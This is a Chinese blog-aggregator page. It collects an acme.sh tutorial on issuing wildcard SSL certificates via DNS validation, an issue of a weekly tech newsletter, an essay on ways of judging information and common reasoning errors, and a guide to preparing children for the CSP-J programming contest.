acme.sh 是一个实现 ACME 协议的脚本，主要用途是申请或更新免费 SSL 证书。运行以下命令即可安装：
curl https://get.acme.sh | sh -s email=my@example.com更多安装方式可见官方文档：https://github.com/acmesh-official/acme.sh。
acme.sh 会被安装在
~/.acme.sh目录下。手动申请证书
安装好 acme.sh 后，可以用以下命令申请证书：
acme.sh --issue --dns -d mydomain.com -d "*.mydomain.com" --yes-I-know-dns-manual-mode-enough-go-ahead-please记得把其中的
mydomain.com换成你自己的域名。上面的代码中，我申请了泛域名证书，所以同时添加了
mydomain.com和*.mydomain.com域名。需要注意的是，*.mydomain.com不包含mydomain.com，如果你希望证书除了包含www.mydomain.com这样的二级域名，也包含mydomain.com的话，记得把mydomain.com也加上。另外，
*.mydomain.com也不包含更深的层级，比如它包含home.mydomain.com，但不包含app.home.mydomain.com。如果你需要更深层级的泛域名，需要把对应的域名也填上。还需要注意的是最后一个参数
--yes-I-know-dns-manual-mode-enough-go-ahead-please。acme.sh 更希望用户使用自动申请证书的方式（见下一小节），如果你确实需要手动申请，需加上这个参数，否则命令不会正常执行。如果一切顺利，acme.sh 命令会输出两段 TXT 信息，需要你手动添加到对应域名的 DNS 解析中，以验证你确实对这个域名拥有权限。在证书申请完成之后，可以删除对应的 TXT 记录。
登录域名服务商（比如阿里云）后台，在域名解析中添加上对应的 TXT 记录，然后再运行以下命令，即可生成证书：
acme.sh --renew -d mydomain.com -d "*.mydomain.com" --yes-I-know-dns-manual-mode-enough-go-ahead-please证书会被保存在
~/.acme.sh/目录下，包含以下四个文件：mydomain.com.cer证书mydomain.com.key密钥ca.cerfullchain.cer全链路证书
其中在网站场景主要使用
fullchain.cer文件和mydomain.com.key文件。自动申请证书
可以看到，上面手动申请的步骤，主要的手动操作就是要为域名添加 TXT 记录以验证域名权限，acme.sh 支持让这个步骤自动化，即自动添加 TXT 记录，并在验证完成之后自动删除对应的记录。
以阿里云为例（如果你的域名是在阿里云注册并解析的），首先需要去阿里云控制台获取一个 AccessKey，建议专门设置一个 RAM 用户，只开通 DNS 权限。
得到 AccessKey 之后，在命令行中执行以下命令：
export Ali_Key="key" export Ali_Secret="secret"随后再执行以下命令，即可自动申请或更新证书了：
acme.sh --issue --dns dns_ali -d mydomain.com -d "*.mydomain.com"注意
--dns参数后面的值为dns_ali。一切顺利的话，证书申请会自动完成，并被保存在
~/.acme.sh/目录下。其他各大域名服务商的自动申请方式类似，具体可参见官方文档。
一些注意点
如果你使用了自动申请，AccessKey 会被明文保存在
~/.acme.sh/account.conf文件内，如果介意，可在申请完之后修改这个文件并删除对应的 AccessKey。另外，使用自动申请后，acme.sh 会添加一条定时任务，每天自动检查证书是否需要更新。可运行以下命令查看当前系统的定时任务列表：
crontab -l现在 acme.sh 默认使用的证书颁发机构是 ZeroSSL，还有一些其他可选机构，比如 Let's Encrypt。可以用
--set-default-ca修改默认证书颁发机构，比如：acme.sh --set-default-ca --server letsencrypt我没有修改 CA，在使用默认的 ZeroSSL 的证书，目前来看暂时没有遇到什么问题。
除了自动申请证书外，大部分网络服务商也支持自动上传 SSL 证书，不过这部分我还没有研究，后续如果觉得值得记录，会另外写文分享。
- 博客 二丫讲梵 2024-09-23 00:29:20如要阅读全文，点击标题跳转。学习周刊-总第177期 | siglens | socialify | Addax | BackgroundMusic | chartdb | next-whois-ui | lldap
- 博客 涛叔 2024-09-21 00:00:0049
- 博客 bboysoul的博客 2024-09-20 18:21:00
简介
每周五更新，所有的更新也会发送到我的频道
规则
- pre release的不记录
- 只记录重要的更新
- 上一版本版本的bugfix不记录，比如某一个项目最新版本是7.0.0 上一个版本6.0.0发布了一个bugfix 6.0.1 那么不会记录
- 比如lens发布了一个新版本，那么openlens也会发布一个新版本，此时只会记录lens发布的信息，不会记录openlens发布的信息
- 博客 阮一峰的网络日志 2024-09-20 08:04:39
这里记录每周值得分享的科技内容，周五发布。
本杂志开源，欢迎投稿。另有《谁在招人》服务，发布程序员招聘信息。合作请邮件联系（yifeng.ruan@gmail.com）。
封面图
张大千最大的一幅画作《巨荷》，正在香港展出。巨大的荷花，随风招展，恣意生长，表现出蓬勃旺盛的生命力。（via）
创业咖啡馆的记忆
上周末，媒体在谈论中国风险投资的现状。我不禁想起，它曾经多么火爆。
大家还记得创业咖啡馆吗？
我搜到了一组照片，拍摄于2015年1月6日的北京中关村"车库咖啡"。
（1）咖啡馆内部非常拥挤，创业者都忙于自己的项目，正常喝咖啡的人反而没有。
（2）点一杯20元的咖啡，就可以坐一天，很多人把电脑搬进咖啡馆，把这里当成工作室。
（3）咖啡馆24小时营业，不少人会在里面过夜，要是半夜醒了，就继续干活。
（4）咖啡馆的墙上贴满了商业计划书，以及找合伙人的布告，更新速度非常快。
（5）人们用手机扫描布告的二维码，了解详情。
（6）每天中午都会有创业者自愿上台分享自己的项目和经历，希望拿到风投。台下的人见多不怪，继续低着头，专注手头的工作。
（7）随便找一个陌生人，他都愿意跟你侃侃而谈，介绍他的创业项目。
这就是十年前的创业氛围。
这样的创业咖啡馆，现在已经消失了。即使还有人在咖啡馆里做创业项目，也只是把它当作一个工作空间，而不是寻找风投的地方。
如果你问我，是不是怀念创业咖啡馆？老实说，我还挺怀念的。虽然它更多是泡沫，大部分的项目先天不足，甚至不乏欺诈，但是我怀念那时的人们充满干劲，相信自己可能是下一个马云马化腾，市场热火朝天，每天都有新东西出来。
今天的风险投资，氛围已经全变了。不仅申请的难度大大上升，而且风险投资家处处在规避风险。他即使投给你，也往往要求加入回购条款。
所谓"回购条款"，就是规定如果创业公司无法在指定日期前上市或被收购，创业者必须"回购"拿到的投资，即把钱还给风投公司。
更有甚者，风投为了保证"回购条款"的执行，还要求创业者用个人财产做担保。就是说，如果创业失败了，公司的钱都亏光了，你还必须用个人的钱偿还风险投资。
这还叫"风险投资"吗？风险都转嫁给了创业者，投资变成了借款。难怪大家现在不敢拿风投，害怕创业失败，背了一身债。
我觉得，国家应该出一个司法解释，明确如果存在"回购条款"，就不是投资合同，而是借款合同，出资者获取的股权无效。只有这样，才能不把创业者吓跑。
技术创新需要风险投资，我衷心希望中国的风险投资和创业热潮，有重新高涨的那一天。
好消息是，《黑神话：悟空》最近的成功对游戏开发者是一个巨大的鼓舞，风险投资的信心有所恢复。但愿游戏业会带动风投，要是能结合元宇宙就更好了。
科技动态
1、自动对焦眼镜
一家日本公司推出了"自动对焦眼镜"，可以自动对焦。
这意味着，不需要配眼镜了，也不需要验光了。不管你的近视度数（或者远视度数），直接戴上这幅眼镜，它会自动调节镜片，直到你看清为止。
它相当于一台迷你验光机，内置电池，一次充电可以使用10个小时。如果要用一天，就需要准备两副眼镜。
它的售价是4000元人民币（555美元），重量是50克，比普通眼镜重，但可以接受。
2、何同学的头盔
上一期周刊提到，何同学在苹果发表会上，使用自制的头盔拍摄装置，引起了轰动。
本周，他专门发了视频，介绍这个装置。下图是他最早购买的头戴式单反支架。
苹果不允许带入发布会现场，他只好自己重新设计制作，用 iPhone 取代单反相机，虽然牺牲了画质，但确保可以带入场。
他选择 AR 眼镜，连接头上的手机，这样就可以看到实时影像。为了避免看不到路，他拿掉了一块镜片（下图）。
装置左边还有一根伸缩的自拍棒，这样就能拍到自己，提供另一个视角。
此外，支架上还能放置遮阳伞、补光灯，甚至饮料瓶，满足外出拍摄的各种需求。
3、AI 游戏合成
谷歌和特拉维夫大学的研究人员，发表了一篇论文，提出可以用 AI 实时生成游戏画面。
举例来说，当你举枪向敌人射击，现在的游戏是按照预置的代码生成下一步的画面，研究人员提出，可以让 AI 想象出下一步的画面。
这是一个革命性的想法，游戏画面可以让 AI 生成，而不是人工编写。"当 AI 可以为你思考每个像素时，为什么要手动为软件编写规则呢？"
不过，它有一个限制，就是必须基于现有的游戏进行训练，还做不到"发明"全新的游戏。
4、电动螺旋桨
一家瑞典公司推出了一种新型的船用螺旋桨，在一个圆盘上面装了很多垂直的叶片。
圆盘本身在转动，每一个叶片也可以独立转动，并且可以精确控制转动方向和转速。这样的设计据说可以节省推进的能量。
而且，它是电动螺旋桨，结构较简单，建造和维护成本相对较低。如果被证明可行，它就为电动轮船的发展铺平了道路。
5、其他
（1）中国启动22000米高空热气球载人实验，目标是创造载人热气球飞行高度的世界纪录。
文章
1、怎么写 CSS 的打印样式（英文）
本文是一篇教程，介绍网页打印样式的 CSS 写法。
2、使用 Caddy 部署 Web 应用程序（英文）
一篇长文，介绍 Caddy 如何当作 Web 服务器的初学者教程。
3、哨兵值是什么（英文）
这篇短文通过牙膏的例子，解释什么是编程使用的哨兵值（sentinel value）。
4、Stripe 公司如何招聘工程师（英文）
Stripe 公司的创始人，分享自己招聘工程师的方式，有参考价值。
5、好的重构 vs 坏的重构（英文）
有些时候，重构之后的代码比之前还难懂。本文逐一举例，分析怎样的重构是好的，怎样是坏的。
6、Node.js 的 AbortController 指南（英文）
使用 Node.js 时，取消异步草走（比如网络请求和文件系统读取）一直很棘手。本文教你怎么用 AbortController 做到这一点。
工具
一个 HTML 的 LSP 实现（语言服务器协议），可以在代码编辑器（比如 VS Code 和 Vim）实时检测 HTML 代码是否正确，参见教程。
2、GlazeWM
一个专门用于 Windows 的平铺式窗口管理器，类似于 i3，自动实现新窗口的平铺。
3、Xnapper
一个截图美化的在线工具，可以为截图加各种边框。
4、sisi
命令行的图像语义搜索工具，让你用自然语言搜索本地图像。
一个自搭建的开源平台，可以为自己的域名申请、部署、续期 SSL 证书，支持阿里云、腾讯云、七牛云等。（@usual2970 投稿）
一个开源的 Windows 快捷启动工具，分门别类管理桌面快捷方式。（@fanchenio 投稿）
VS Code 插件，为多种常用的前端 UI 库提供注释和类型提示。（@Simon-He95 投稿）
一个 Chrome 浏览器插件，选中文字后，直接将翻译显示在右上角的弹窗，不需要点击按钮。（@wa008 投稿）
一个开源的安卓 App，可以实现语音对话的实时离线翻译。
智能家居的一个控制系统，类似于 Home Assistant，但用起来更简单，面向普通用户。
11、Omnivore
一个开源应用，用于收藏稍后阅读的文章。
12、cvbee.ai
免费生成或修改简历。（@dddm25896 投稿）
13、libcimbar
一种特殊的二维码格式，可以把小于 33MB 的文件压缩成一个二维码，用他们提供的 App 扫码解压即可得到文件。（@joyc 投稿）
资源
1、退休年龄计算器
用户输入出生年月和性别，该网站根据新政策，计算对应的退休年龄。（@wincatcher 投稿）
一个有意思的网页小游戏，在网页上画线，反弹小球，发出的声音组成旋律。
全世界共有15种"插头 + 插座"组合，这个网页把它们全列出来。
4、计算机科学自学课程（英文）
这个仓库按照学习顺序，列出对应的欧美大学的计算机科学开放课程。全部学完，就等于上完计算机学位课程了。
图片
1、曼哈顿岛的历史
纽约的主要部分就是曼哈顿岛，今年是该岛建市400周年。
1624年，荷兰人选中这个地方，作为荷兰殖民地。因为这个岛位于两块陆地之间，可以作为避风港，并且有水路通往内陆。
下面就是当时荷兰人看到的曼哈顿岛。
事后证明，这个地方是一个世界级良港，这里的海水很宽，很深，很少结冰，适合停靠大量的大型船舶。
19世纪末，纽约港已经成为世界第一大港。
下面是21世纪的曼哈顿岛。
2、世界最古老的裤子
上个世纪70年代初期，中国考古学家在塔里木盆地的洋海古墓，发现了约500具木乃伊。
2014年，中国和德国的考古专家最终确实，其中一具木乃伊穿着的裤子，距今有3200年，是现存最古老的裤子。
这条裤子的基本设计与今天大多数人穿的很相似，它采用斜纹布，还有花纹。
文摘
下面是著名程序员、Rails 框架的作者 DHH 的最新文章。
几周前，我看到一条推文问道："如果 Linux 这么好，为什么没有更多的人使用它？"
这个问题听上去很有道理。你们都说 Linux 好，它甚至是免费的，那为什么没有大规模采用呢？
但是，如果你仔细想一想，就会发现生活中到处是这样的情况。
如果锻炼如此有益健康，为什么没有更多的人去做呢？
如果阅读如此有教育意义，为什么没有更多的人这样做呢？
如果垃圾食品对你如此有害，为什么还有那么多人吃它？
......
世界上充满了值得尝试的事情和事物，但大多数时候却被大多数人忽视。现实世界的真实情况是，变得肥胖和无知要比保持健康和学习更容易。
大多数人总是选择最容易、最不需要努力的事情。
Linux 就不容易，比微软和苹果的商业产品对使用者的要求更高。为了用好它，你需要学习一些东西，还要自己尝试解决问题。
我完全理解为什么大多数计算机用户对 Linux 不感兴趣，因为他们只想浏览网页或使用应用程序，并不希望成为计算机的高级用户。
但是，程序员不一样，对于他们，深入了解计算机是工作必需。这就是为什么程序员往往使用 Linux，也应该使用 Linux 的原因。
Linux 就跟生活中很多其他事情一样，选择它不是因为容易，而是因为它值得。
言论
1、
2023年中国电影总票房是人民币550亿元，你猜游戏业规模如何？单单腾讯的游戏部门年收入就达1799亿，一个部门的业绩就三倍于整个电影业。
-- 周若鹏
（补充一下，2023年中国国内的游戏收入是3030亿元，彩票收入是5800亿元。）
2、
我们的软件产品，总是有客户要求我们编写自定义模块，我们的回答一律是：
"我们不会为个别公司编写自定义模块，因为无法在代码中维护如此多的分支，后面根本顾不过来。"
3、
一位教育专家建议，要允许孩子们感到无聊，这会鼓励他们想象、观察、探索周围的世界，从而激发想象力和独立思考。
-- BBC
4、
如果没有月球，地球就是一颗非常孤独的星球，最近的天体将是金星和火星，距离为3800万到 5600万公里，是地月距离的一百倍甚至更多。地球与它们的往返通信需要几分钟而不是几秒钟，单程旅行需要几个月而不是几天，往返旅程至少需要一年而不是一周左右。
正是月球，让我们感到地球在宇宙中不是那么孤独。
5、
即使身处最冷的寒冬，我知道自己的内心深处，有一个不可战胜的夏天。
-- 加缪，著名法国小说家
往年回顾
非线性的世界，线性的你（2023 #271）
全世界最繁荣的行业（2022 #221）
云服务流量有多贵？（2021 #171）
为什么人类没有越来越闲？（2020 #121）
（完）
文档信息
- 版权声明：自由转载-非商用-非衍生-保持署名（创意共享3.0许可证）
- 发表日期： 2024年9月20日
- 博客 张鑫旭-鑫空间-鑫生活 2024-09-19 23:32:18
好消息，所有现代浏览器都已经支持Map.groupBy()、Object.groupBy()静态分组方法了，我们的JavaScript代码又可以进一步简化了。 - 博客 唐巧的博客 2024-09-19 12:59:03
我在《第一性原理思考：解决问题的通用框架》介绍了一种思考解决问题的通用框架。其中的第 3 步：信息判断是制定解决方案的核心步骤，但我在原文中讲得比较笼统，这次再展开详细介绍一下。
信息判断有很多种方式和方法，我想先重点介绍几种我认为比较有用的判断方式，最后再介绍一些常见的信息判断的误区。
28 原理
我们在框架的第 1 步信息收集中，已经将问题相关的各种因素收集得比较全面。这个时候我们会发现，信息通常会非常丰富。而且，通常正面和反面的信息都有，这个时候信息判断决策就会比较困难。这个时候，我就需要用 28 原理，来找到最最核心的因素。
大自然其实就告诉了我们这个原理。在自然界，如果影响一个事情的因素有 10 个，那么这 10 个因素每个刚好权重占比 10%，是从来没有的现象。大部分时候，大自然的事物呈正态分布，核心的 20% 的因素对结果产生了 80% 的影响。
举几个真实的案例。
案例一：优化内容
我在负责小猿搜题的时候，我们想优化题目解析的呈现。该工作最极致的优化做法，就是请老师为每一道题目录制一个 5 分钟左右的视频讲解。但是，我们有 2 亿道题目，如果全部优化一遍，我们的成本巨大，这个想法将变得不可执行。
在讨论方案的时候，我们想到这个问题或许符合 28 原理，于是我们将学生的搜索结果进行统计。结果发现，80% 的搜索结果落在了大概 500 万道题目上。于是，2 亿的工作量一下子缩减了 97.5%，我们只需要做不到 5% 的工作，就可以将题目呈现体验提升 80%。
案例二：优化硬件产品
利用 28 原理做产品决策的“减法”也同样很有效果，特别是硬件产品。对于硬件产品来说，每一项功能的生产成本与功能的使用频率不成正比。核心的功能占到了 80% 以上的使用时间，但核心功能的成本占比通常不到 80%，这个时候，聚焦提升核心功能体验，减少非核心功能的开发，都是对 28 原理的应用。
案例三：填报志愿
我高考完面临填报志愿选专业，我自己喜欢计算机专业，但是呢，我的分数不够上 985 学校里面计算机专业较强的大学。于是我的决策因素就有很多，要不要换专业，如果不换选哪个学校的计算机专业。这方面的考量因素很多，比如：
- 地域。我应该选哪个城市？
- 学校。我应该选哪个学校？
- 专业排名。这个学校的计算机专业排名是多少？
- 竞争激烈度。其他人会抢这个专业吗？我的胜算是多大？
- 就业难度。这个专业方向好就业吗？
- 就业薪资。就业薪资是多少？
- 兴趣。我对哪些专业有兴趣？
- 风险。落榜的风险。
最后我花了很长时间，首先决定还是以兴趣做为第一导向，选择了计算机专业。然后优先挑选了北京的学校，因为我觉得北京离互联网行业近，可以有比较多的机会实习。最终我选择了北师大的计算机系，虽然这个专业在院校排名里面较为靠后。
在我的逻辑里面，“兴趣”就是占据 80% 权重的因素。因为有兴趣，才有可能付出比别人多，做得比别人好。相比兴趣，别的因素都不那么重要。事实证明，我的决策还是对的。我对计算机的兴趣帮助我在学习和工作中都保持了较高的投入度，进而获得了比较大的正面回报。我也在研究生阶段获得了 在 IBM 和网易的实习机会。当然，我的运气也不错，赶上了互联网行业的红利期。
谬误推导
“谬误推导”这个词是我生造的，因为我还没有找到合适的词语用于描述这种思维方式。
谬误推导是指：假设某个观点是真理，然后按照原本的逻辑推导演绎，现实世界应该会是什么样。如果推出一个与现实世界相反的结论，就说明之前的观点有误。
我有两次明显体会到谬误推导的实际用处，分享给大家。
案例一：民宿是不是一个好生意
有一年的春节，我在京郊租了一个大院子，想体验一下退休之后的田院生活。过去之后，我发现京郊有很多人把自己的宅基地改造成这种居住体验良好的民宿，然后出租获利。然后我就很好奇这是不是一个好生意，加上当时我们有“租一个院子没事去过周末”的想法，所以我们把那个村待出租的院子都考查了一番，也问了一下价格。
最后我花了一些时间，结论是：这不是一个好的生意。里面涉及的原因有很多，但我主要测算了一下财务回报模型，发现这个事情回报率太低。另外居住的新鲜感过去之后，因为远离城市会有各种不便，整体体验也不算太好。
当我把自己的逻辑分享给 gcz 的时候，他直接用了“谬误推导”来判断，他说：如果这个事情成立，那么民宿就应该产生规模化的品牌，但现在显然没有，说明这个事情不靠谱。
我当时惊了，我想：这不符合“第一性原理”呀！看事情不应该从本源去思考吗？但是我又一想，“谬误推导”还是很有价值的，因为：
- “谬误推导”很快，我们在工作中的很多事情权重不高，深入研究一个事情的本质原因性价比太低。
- “谬误推导”还是为第一性原理思考提供了快速的反面证据。如果要推翻这个“谬误推导”，我们容易找到那个核心问题。
案例二
段永平分享过一个在步步高的案例。当时步步高每年的广告费用很大，有高管提出：我们的广告费用这么高，不如我们自己做广告公司。因为这样，我们首先不愁客户，我们自己就是自己的客户。然后别的东西我们可以学，我们也可以招成熟广告公司的人，我们很努力，假以时日，我们肯定可以做得比较优秀。
段永平用“谬误推导”拒绝了这个提议，他说：我不知道这里面有什么逻辑问题，但是我知道我们肯定做不成。因为：如果这个假设成立的话，世界上最大的广告公司应该是”可口可乐广告公司”和“宝洁广告公司”。但显然并不是，所以我们做广告公司这件事情一定不成立。
终局思维
终局思维是把一个事情的发展看长远，从而忽略掉短期因素的影响。人们天然对身边刚刚发生的事情赋予巨大的权重，而把过去很久发生的事情赋予较低的权重，但这个是不对的。终局思维可以帮助我们看到影响事情发展的核心因素。
终局思维可以帮助我们做难而正确的事情。有一些事情决策成本巨大，比如：猿辅导要投入力量做 AI 研究院，这方面的工作非常费钱，而且短期可能看不到产出。但是如果我们用终局思维想：未来的教育产品是否需要 AI 赋能？答案就会更容易一些。
又比如，一些错误决策已经做了，有一些沉没成本已经投入了，是立即纠正，还是慢慢收缩调整？如果站在终局思维，那么就应该尽快调整，因为如果未来是要调整的，那么每提前一天都是减少更一步的损失。所以段永平说：「发现错误立即改正，不管付出多大的代价，都是最小的代价；不改正错误，将付出更大的代价」。
用终局思维看待每一次失败，失败也显得不那么重要了。如果失败没有导致个人信心丧失，反而激发出更强的斗志，同时我们又从失败中吸取了教训，那么失败是个人迈向成功的必经之路。
再说两个案例。
案例一：直播带货
拿直播带货来说，每一次直播带货事故都会对达人品牌产生不利影响，虽然短期的影响可能不大，但是这反映出达人团队的品质把控上的能力问题。长期来看，必将影响消费者在达人直播间购物的心智。所以这么来看，如果不有效解决带货品质问题，小杨哥直播间长期很难存活。
长期来看，如果直播带货的规模巨大，势必对人们的生活产生重大影响，规范直播带货中的各种宣传用语是必然的。在这个过程中，没有做好准备的达人都会被时代抛弃。
案例二：挑选领导/下属/伙伴
终局思维可以用来挑选下属、上级和合作伙伴。如果你有一个合作伙伴，每次都出会一些问题，虽然没有出大事，但是长期来看，它必将影响你的生意，早日换掉他就是一个明智的选择。公司内的上下级共事也一样可以用终局思维，如果做不到上下同欲，下属必然在未来会遭遇误解，那么与其这样，不如用脚投票，离开他不欣赏的上级。
批评观点的 4 种角度
这是我从《如何阅读一本书》中学到的方法，作者认为，批评别人的观点只能有 4 种：
- 证明观点的知识不足。
- 证明观点的知识错误。
- 证明观点不合逻辑。
- 证明观点的分析与理由是不完整的。
如果你不能用相关证据显示作者是知识不足、知识有误，或不合逻辑，你就不能反对他。
很多人面对一些结论的时候，表现出强烈的反对，但是如果你发现他不能按以上标准来反对的话，就说明他并不真正在反对，只是「不喜欢」这个结论，而这只是在表达一种情绪或者偏见。我们应该尽量避免陷入情绪中，或者至少应该在陷入情绪中时，知道自己当前只是在发泄，而不是在讨论问题。
我们在下结论的时候，也可以用这 4 点去检查一下，自己有没有知识不⾜、知识错误、不合逻辑等问题。
信息判断的误区
再说说一些信息判断的误区。
误区一：把相关性当因果
很多人把相关性归纳到因果上面。驳倒这个误区最有趣的论述就是：医院是死亡率最高的地方，所以我们应该远离医院。
作为练习，请思考下面的论述有什么问题：
统计显示，⼤部分喜欢吸烟的⼈肺癌发病率⽐不吸烟的⼈⾼ 10 倍，所以吸咽导致肺癌。
｜
｜
｜
｜
｜
｜请想一想再往下翻答案
｜
｜
｜
｜
｜
｜答案：喜欢吸烟与肺癌只能通过上面的统计证明相关，但是不能推导出因果关系。著名的统计学家 Fisher 就喜欢吸烟，他举了一个反驳的例子：有没有可能有一种基因，带有这种基因的人会喜欢吸烟，同时，这种基因会导致肺癌发病率高。这样，不管这类人抽不抽烟，他们因为带有这种基因，所以都会有较高肺癌发病率。
关于这个误区，这里还有更多的资料（需要梯子）。
误区二：从众心理
从众效应由美国社会心理学家阿施提出，是一种普遍存在的社会心理和行为，从众心理通常是由于个体受到集体的隐形或者显性的压力，而改变自己的目标，最终选择和多数人一致的意见或行为。
从众心态在广告学中最佳的应用案例，就是讲自己的产品「销量第一」。当然，咱们不能撒谎，得真的是销量第一的时候才能讲「销量第一」。斑马思维机去年卖了 30 多万台，远远超过第 2 名，我们就找咨询公司做了一下市场调研，宣布自己销量第一。我们公司兄弟部门的产品小猿学练机，也讲自己「销量第一」。
但是，销量第一的产品就一定最好吗？其实不见得。当年的手机霸主洛基亚，也是曾经的销量第一，不也被苹果超过了。所以，从逻辑上讲，「销量第一」与产品体验第一，只能说具有一定的相关性，无法产生因果推导。
但是，大家都有从众的心态。「销量第一」就是告诉你，别人都选择了我，你是跟随大众，还是与众不同？大部分人都会选择从众。
当然，购物决策对个体的影响不大，选择「销量第一」的产品大多数时候也没毛病。但是，当我们在面临重大问题做决策的时候，从众可不一定是一个好的选择。
很多系统对从众选择会有天然的抑制，比如：
- 股票市场，如果大家都跟着舆论买同一支股票，那么股票的价格就会高于其内在价值，造成投资的亏损。
- 如果大家高考都报一个专业，这个专业的录取分数就会巨高。
- 如果今年苹果非常贵，大家都选择种苹果，那么几年后苹果就会烂大街。“阳光玫瑰”就是一个真实的例子。
所以，做重大决策的时候，问问自己为什么？如果答案是：因为别人也这样，那就有点危险。
误区三：现状即是真理
现实的一些情况，原因可能很复杂，所以不能把现状做简单归因。
比如：一个企业家把公司做上市了，挣了上百亿的利润，他就一定很会经营吗？不一定。他也可能做了假账，他也可能吃到了时代的红利，比如恒大。
比如：中医到底有没有效果？简单认为它在中国存在了上千年就能当证据吗，肯定不能。放血疗法在西医还流行了上千年呢，咱们怎么不认为它有效？那应该怎么证明中医有效？
比如：有个理财经理给你推荐某个产品，说它过去 5 年年化收益超过 10%。潜台词是说：未来也会这样。那过去的业绩一定能推导出未来的业绩吗？不一定吧。
对自己的现状分析也很重要，一些人获得了一些成功就很骄傲，觉得自己很厉害，做什么都可以成功。但是成功到底是因为自己的实力还是时代给的机会，如果不能理性分析，就很可能在未来栽跟头。
误区四：情绪
情绪是做决策巨大的敌人。股票市场就是贪婪情绪和恐惧情绪的集结地，稍不注意你就被情绪统治了行为，追涨杀跌。
基于情绪做信息判断和行为有利于情绪在当下的释放，但是相关的后果我们不一能在未来能够承受。所以，更加理智的办法是把情绪的处理和信息的判断分开。
情绪的问题可以用适当的方式来排解和宣泄。信息判断和决策的问题，还是交给理性。
另外，我们也需要识别他人的情绪，将他人的情绪与事实分开接收。现在网络上的一些观点，都带有强烈的情绪，我们需要有足够的智慧去分辨它们。
小结
本文介绍了信息判断的几种框架思维，包括：28 原理、谬误推导、终局思维等。也介绍了一些思维误区，包括：把相关性当因果、从众心理、现状即是真理、情绪等。
以上。
- 博客 bboysoul的博客 2024-09-19 00:20:00
简介
有时候会碰到一些恶心的文件名，然后不能通过文件名去删除文件的情况，这个时候，其实是可以使用inode去删除的
- 博客 唐巧的博客 2024-09-17 21:51:36
本文约 1500 字，阅读需用时 5 分钟。
什么是 CSP-J
CSP（Certified Software Professional）全称是中国计算机学会（CCF）主办的“软件能力认证”，它是中国计算机学会为了提高计算机软件人才的专业水平而设立的一项专业技能认证。CSP 认证分为两个级别：CSP-J（Junior，入门级）和CSP-S（Senior，提高级）。
因为该认证主要用于选拔 NOIP 选手，所以认证的报名通道仅向各中小学的计算机老师开放。
比赛在每年的 9 月开学之后进行，比赛分为两轮。第一轮为笔试，第二轮为上机。第一轮通过之后，才能参加第二轮。2023 年 CSP-J 第一轮的通过分数线为 63 分。
比赛报名的官方网站为 https://www.noi.cn/，这里有官方关于 CSP-J 的更多介绍。
信息学相关比赛的分类
参加信息学比赛，按打怪升级的过程，可以是从 GESP 考级开始。GESP 每 3 个月就有一次考级，可以及时检验学习成果。平均 3 个月就可以完成一个级别的知识学习，在学习初期，正反馈的频率还比较高。
以下是各个比赛面向的人群和获奖难度。
比赛名 面向人群 获奖难度 GESP 小学生+初中生 共 8 级。GESP 7 级 80 分或 8 级 60 分，可跳过 CSP 第一轮 CSP-J 小学生+初中生 各省约前 20% 可拿省一等奖 CSP-S 高中生 各省约前 20% 可拿省一等奖 NOIP 高中生 各省约前 20% 可拿省一等奖 NOI 高中生 2024 年总获奖率为 85%，前 50 可获金奖 IOI 高中生 代表中国参加全球的比赛 大部分小学生和初中生的目标是 CSP-J，获得一等奖可以被各大重点高中点招。
大部分高中孩子的目标可能在 NOIP 的一等奖，因为有了这个奖项，就可以被保送或者自主招生降分录取，高考的压力会小很多。我当年就是有 NOIP 的奖项，获得了北师大的自主招生参考资格（当时全国只有 50 个资格），然后考试通过了北师大的自主招生。
CSP-J 的获奖难度
我做了一个《北京 CSP-J 近五年比赛情况》表，如下：
从中可以看到：
- 初赛报名人数逐年增长，每年增长都在 10% 以上。22 年和 23 年分别增长了62% 和39%
- 第一轮初赛的通过率逐年下降，每年最少下降 2pp，23 年通过率为 24%
- 复赛获奖率非常高，即便是最低的 2023 年，也有71% 的孩子在复赛中获奖
虽然报名人数在增加，但好消息是：复赛中一等奖的获奖人数是基本按照复赛人数来计算的，得奖比例约为 20%，所以参赛人数越多，一等奖的名额就越多。
几年级可以拿到 CSP-J 一等奖
获得 CSP-J 一等奖的年级分布如下，绝大多数（74%）的孩子都是在初二或者初三，才能获得 CSP-J 一等奖。
但是，也有少量的优秀小学生（约6%），可以在小学阶段就拿到 CSP-J 一等奖，这样的学生在 2022 年有 146 人。
CSP-J 的备赛准备
CSP-J 的最佳备赛年龄是 4 年级的上学期。因为，CSP-J 的比赛在每年的 9 月份，如果从 4 年级上学期开始备赛，那么就可以有整整两年来准备。但如果从 5 年级开始备赛，那么备赛时间就只有 1 年了。
是 4 年级不是 3 年级或更早的原因是：孩子在 4 年级的智力水平发育程度相对比较容易接受 C++ 这种比较抽象的编程语言。更早的年龄还是以兴趣培养为主较好，编程语言也可以选择 Scratch 或者 Python。但到了 4 年级，就应该学 C++ 了。
因为 C++ 语言是官方比赛语言，所以准备的时候应该直接从 C++开始，否则后期还涉及语言的切换，会浪费更多的备赛时间。
CSP-J 的备赛分为如下 3 个阶段，总共约 600 小时（240 小时上课，360 小时练习）：
- C++ 语言学习。约 24 课时。
- 数据结构。约 24 课时。
- 算法。约 192 课时。
总课时约 240 小时，再加 360 小时以上的练习。
一般孩子如果从 4 年级开始，每周上 2 小时的课，完成作业 3 小时，那么就需要 120 周，差不多两年的时间还差一点。如果暑假再补一些时间进去，就刚刚够学习时长。
以上是冲着全国只有 146 人达成的“小学生阶段拿一等奖”为目标的训练方式。如果目标不那么激进，按大部分学生的学习进度，在初二获奖一等奖。那么准备时间就多了 1 倍，有 6 年级和初一整整两年。而且中间可以多次参赛，积累比赛经验。这样获奖的可能性就大大增加了。
所以，理性一点的目标是：
- 小学 4 年级开始准备
- 小学 6 年级能够进入复赛
- 初中 1 年级保二等奖，争一等奖
- 初中 2 年级争一等奖
- 初中 3 年级参加 CSP-S
- 高中 1 年级争 CSP-S 和 NOIP 二等奖
- 高中 2 年级争 CSP-S 和 NOIP 一等奖
其它
我也在指导一个北京的五年级孩子学习编程，准备 CSP-J，现在学习完 40 课时（约 5 个月时间），已经通过了 GESP 2 级。欢迎同行和家长联系我一起交流，我的微信：tangqiaoboy 。
以上。
- 博客 唐巧的博客 2024-09-17 14:01:11
最近读完了李翔写的《折腾不止 - 西贝创始人贾国龙的成败与蓝图》，有一些感悟，记录一下。
市场规模
餐饮行业整个市场的规模非常大，中国大概有 5 万亿的市场规模。但是基本上都是很小规模的店。
从规模化角度看，现在中国最大的中餐品牌是海底捞，营收大概有 400 亿，剩下的公司都没有过百亿。几十亿营收的公司有：九毛九（旗下有太二酸菜鱼），营收 40 亿；呷哺呷哺，营收 40 亿。
